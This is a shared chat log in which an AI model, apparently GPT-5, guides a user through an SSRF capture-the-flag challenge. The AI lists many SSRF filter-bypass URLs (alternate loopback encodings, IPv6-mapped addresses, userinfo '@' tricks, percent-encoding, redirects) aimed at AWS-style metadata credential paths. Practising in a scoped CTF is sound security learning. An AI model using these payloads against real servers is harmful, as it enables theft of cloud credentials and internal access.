这是一道ctf题目 This challenge is a very bad idea! Prof....
Creato il: 3 novembre 2025
Risposto usando GPT-5 Thinking da Chat01
Creato il: 3 novembre 2025
Risposto usando GPT-5 Thinking da Chat01
这是一道ctf题目
This challenge is a very bad idea! Prof. Johnson had a little idea to host a SSRF challenge up in GCP, and let's just say he encountered some interesting information in testing. We considered replacing it with another challenge, but anything worth doing is worth doing wrong! Just make sure you stick to the scope on this one or Google is going to zap us all from space with their Orbital HR Compliance Laser, which was developed by a smaller team in 2008 for the purpose of clearing varmints from 3rd world farmer's fields but was acquired by Google and shelved for a few years (support ends in 2027, better find a new provider for your Space Laser Death Ray needs!)
Wait... Where am I, again? Oh, right...
Your goal: Exploit a classic Server-Side Request Forgery (SSRF) in the image fetcher to reach an internal metadata service that is only reachable from the server itself.
Important:
SCOPE:
NOT IN SCOPE:
DO NOT attack the infrastructure, proxies, or unrelated hosts.
DO NOT attempt to access real cloud provider metadata for the platform; the challenge runs with a self-contained mock designed for safe play.
NO denial-of-service or automated high-rate scanning.
Your target: web100-3.pointeroverflowctf.com
打开网页显示
Mason Archive – Initiate Portal
Submit an image (or any URL) and the server will fetch it for you.
URL:
我尝试了如http://127.0.0.1:8081等均被block
此外尝试url伪协议提示must start with http:// or https://
网页源代码如下
text<h2>Mason Archive – Initiate Portal</h2> <p>Submit an image (or any URL) and the server will fetch it for you.</p> <form action="/fetch" method="get"> URL: <input name="url" type="text" size="80" value="https://httpbin.org/image/png"> <input type="submit" value="Fetch"> </form>
好题!这是典型“有过滤但不彻底”的 SSRF。你已经确认:
http:// / https://http://127.0.0.1:8081 被拦下面给你一套“外形不似 127.0.0.1 但语义等价”的常见绕过方式 + 一条最可能的取旗路径(AWS 风格)。
不少过滤只按字符串匹配 127.0.0.1 / localhost,但不会做真正的网段校验。优先尝试这些“等价写法”:
IPv4 变体
texthttp://127.1:8081/ http://127.0.01:8081/ http://127.000.000.001:8081/ http://2130706433:8081/ # 十进制整型:0x7f000001 = 2130706433 http://0x7f000001:8081/ # 16进制
IPv6 回环
texthttp://[::1]:8081/ http://[0:0:0:0:0:0:0:1]:8081/
小技巧:很多题只拦“精确写法”,
127.1和2130706433成功率很高;[::1]也常常有效。
如果页面会把取回的响应原样展示,你会直接看到 8081 服务的内容(或 404/提示信息)。
有些过滤只检查你输入的首个 URL,跟随 302 的目标不再检查(或检查不严)。可以喂一个外部的 302,把服务端“带进” 127.0.0.1:8081:
https://httpbin.org/redirect-to?url=http://2130706433:8081/
如果这个也被拦(因为它在查询串里含 127),再试把目标做 URL 编码一次或两次(服务端/中间件经常会解码后再访问):
https://httpbin.org/redirect-to?url=http%3A%2F%2F2130706433%3A8081%2F
仅当题目允许“服务端访问外站再跳回”时使用该法;若题目禁外跳,还是优先用 IP 变体。
题面说“AWS 风格,且返回 JSON,字段里有 token-like 值”。AWS 最常见两条 JSON 路径:
/latest/dynamic/instance-identity/document
AccessKeyId/SecretAccessKey/Token;本题极大概率把 flag 放在 Token)
/latest/meta-data/iam/security-credentials/
/latest/meta-data/iam/security-credentials/<上一步拿到的角色名>
把步骤 1 的“能过的主机写法”套进去,用你的“Fetch by URL”表单逐个试:
示例(把可用的主机写法替换到 <LOOPBACK>):
texthttp://<LOOPBACK>:8081/latest/dynamic/instance-identity/document http://<LOOPBACK>:8081/latest/meta-data/iam/security-credentials/ http://<LOOPBACK>:8081/latest/meta-data/iam/security-credentials/<ROLE_NAME>
常见
<LOOPBACK>候选:127.1、2130706433、0x7f000001、[::1]。
拿到 JSON 后,里面会有一个“看起来像 token”的值(例如 Token 字段)。提交这个值就是 flag。
127.1 → 2130706433 → [::1])。再不行就试“302 重定向”法。.../iam/security-credentials/ 看角色名,再取具体角色。祝你拿旗顺利!如果你愿意,把你试过的具体报错文案/页面返回贴出来,我可以据此判断过滤是“字符串黑名单”还是“解析后网段校验”,再给更精准的 payload。
尝试https://httpbin.org/redirect-to?url=http://2130706433:8081/和https://httpbin.org/redirect-to?url=http%3A%2F%2F2130706433%3A8081%2F,除了返回block,还会返回Blocked or error: HTTPSConnectionPool(host='httpbin.org', port=443): Read timed out. (read timeout=5),有一次返回了503.至于ipv4和ipv6,全部被block。此外,我还尝试了https://httpbin.org:8081,返回Blocked or error: HTTPSConnectionPool(host='httpbin.org', port=8081): Max retries exceeded with url: / (Caused by ConnectTimeoutError(, 'Connection to httpbin.org timed out. (connect timeout=5)'))
看起来他们把直连环回和外部 302都挡了,多半是做了“解析后网段校验 + 端口黑名单”。下一步就用authority/userinfo 绕过(“用户名@目标主机”)这种经典 SSRF 绕过法:很多实现先对 @ 前面的**“看起来像主机名”**做校验(例如 web100-3.pointeroverflowctf.com),而真正发起请求时网络库会把 @ 后面的部分当作目标主机去连。这样既能躲过“只检查首个 host/端口”的过滤,也能把端口改成 8081。
直接抄下面这几条去网页的“URL”里测试(必须是明文 http://,不要 https://,因为 8081 上一般是纯 HTTP):
一步打到 JSON(优先):
http://web100-3.pointeroverflowctf.com:80@2130706433:8081/latest/dynamic/instance-identity/document
如果需要按 AWS 风格两步走(先拿角色名再取证书 JSON):
http://web100-3.pointeroverflowctf.com:80@2130706433:8081/latest/meta-data/iam/security-credentials/
(这里返回的就是角色名,比如 mason-role 之类的一行纯文本)
把上面拿到的角色名替换到 <ROLE>:
http://web100-3.pointeroverflowctf.com:80@2130706433:8081/latest/meta-data/iam/security-credentials/<ROLE>
说明:
2130706433是127.0.0.1的十进制整型表示(0x7f000001),常用于绕过“只拦字符串 127.0.0.1 / localhost”的规则。web100-3.pointeroverflowctf.com:80@…这段在@前面是“用户名”,是给过滤器看的;真正连接的主机与端口在@后(2130706433:8081)。- 页面若成功,会把 8081 服务返回的内容原样展示;你要的是一个 JSON,里面会出现一个 token-like 字段(通常叫
Token或类似)。提交这个值就是 flag。
127.1 或 0x7f000001 再试一遍:
texthttp://web100-3.pointeroverflowctf.com:[email protected]:8081/latest/dynamic/instance-identity/document http://web100-3.pointeroverflowctf.com:80@0x7f000001:8081/latest/dynamic/instance-identity/document
@,这时可以试 双 @ 取最后一个为准 的解析差异(偶尔有效):
http://[email protected]@2130706433:8081/latest/dynamic/instance-identity/document
document 路径会给出实例信息;security-credentials/<ROLE> 会给出一串包含 AccessKeyId/SecretAccessKey/Token 的 JSON。提交 Token 的值。@。把具体“Blocked”文案贴出来,我再给你针对性变体(比如 IDNA 变体、点号/端口混淆、权威主机尾随点等)。这里全部的blocked文案都是Blocked or error: Blocked host or network
谢谢详细回报!从“Blocked or error: Blocked host or network”这个统一文案来看,服务端基本可以确定在解析并解析 DNS 之后,对目标 IP 做了“私网/回环网段”拦截(而且也拦了 @ 这类 userinfo 技巧和常见的 2130706433 / 127.1 / ::1 变体)。所以现在要找的是**解析流程里能“先过审、后变身”**的写法——验证阶段看起来安全,真正发起连接时却能打到 127.0.0.1:8081。
下面按“最可能有效 → 次优备选”的顺序给你一串外形合法的 HTTP/HTTPS URL 载荷。照抄到那个表单里即可;一旦打通,继续访问 AWS 风格路径拿 JSON(flag 在那个 JSON 里,通常是 Token 字段)。
很多实现只拦 127.0.0.0/8 和 ::1,但漏掉 IPv6-mapped IPv4。试这几条(注意方括号):
texthttp://[::ffff:127.0.0.1]:8081/latest/dynamic/instance-identity/document http://[::ffff:7f00:1]:8081/latest/dynamic/instance-identity/document http://[0:0:0:0:0:ffff:7f00:1]:8081/latest/dynamic/instance-identity/document
如果其中任意一条通了,直接继续两步法拿角色证书 JSON:
texthttp://[::ffff:127.0.0.1]:8081/latest/meta-data/iam/security-credentials/ # 返回角色名(例如 mason-role) http://[::ffff:127.0.0.1]:8081/latest/meta-data/iam/security-credentials/<把上一步的角色名替换到这里>
期望:最后一条返回 JSON,里面有
AccessKeyId/SecretAccessKey/Token等;把那个 token-like 值提交为 flag。
有些校验对 host 不做解码 就判断“是不是内网”,但底层 HTTP 客户端在连接前会把 host 解码。赌它俩不一致:
texthttp://%31%32%37.%30.%30.%31:8081/latest/dynamic/instance-identity/document # 同理再试一次“多重编码”(有些链路会解两次): http://%2531%2532%2537.%2530.%2530.%2531:8081/latest/dynamic/instance-identity/document
如果这类能通,也同样把路径换成 /latest/meta-data/iam/security-credentials/… 拿 JSON。
你之前用过 a@b 被拦了,试编码后再解码的变体,或“取最后一个 @”的解析差异:
texthttp://web100-3.pointeroverflowctf.com:80%40[::ffff:127.0.0.1]:8081/latest/dynamic/instance-identity/document http://[email protected]@2130706433:8081/latest/dynamic/instance-identity/document
说明:第一条里
%40可能在某个层面被解成@从而把真正连接目标变成 127.x;第二条赌“取最后一个 @ 为分隔”的解析器。
有些拦截只做字符串黑名单或只识别最常见形式,顺手再试:
texthttp://0x7f.0.0.1:8081/latest/dynamic/instance-identity/document # 每段十六进制 http://0177.0.0.1:8081/latest/dynamic/instance-identity/document # 第一段八进制 http://127.0.0.1.:8081/latest/dynamic/instance-identity/document # 结尾点
你对 httpbin 的 302 被拦/超时,说明跨域重定向不太行。但不少题会允许同源重定向不再做二次校验——如果你在站点上(web100-3.pointeroverflowctf.com)发现任何可控 302(比如 /?next=... 这种),就把目标写成:
texthttp://127.1:8081/latest/meta-data/iam/security-credentials/ # 或上面的 IPv6-mapped、百分号编码形式
这一步需要站内有个“把参数原样 302 跳转”的点;如果没有就跳过。
✅ 成功:页面直接回显 JSON(不是图片也没关系)。
/latest/dynamic/instance-identity/document:会是实例文档 JSON;继续走 /latest/meta-data/iam/security-credentials/→/<ROLE>。.../security-credentials/<ROLE>:能看到含 AccessKeyId/SecretAccessKey/Token 的 JSON。提交 Token 的值当作 flag。❌ 仍是 Blocked host or network:把你具体尝试的“哪一条 URL + 返回文案”贴我。我会根据返回差异再给你更“偏门”的解析/编码组合(比如 host 中插入零宽字符、IDNA 点号 。/. 归一化前后不一致、%09/%00 控制字符干扰分段、端口八进制/十六进制等)。
我先建议按 A → B 的顺序一条条试;A 类(IPv6-mapped)在真实题里命中率最高。拿到 JSON 后,直接把里面的 token-like 值贴回来,我们再确认是否就是最终 flag。祝你一枪命中 🎯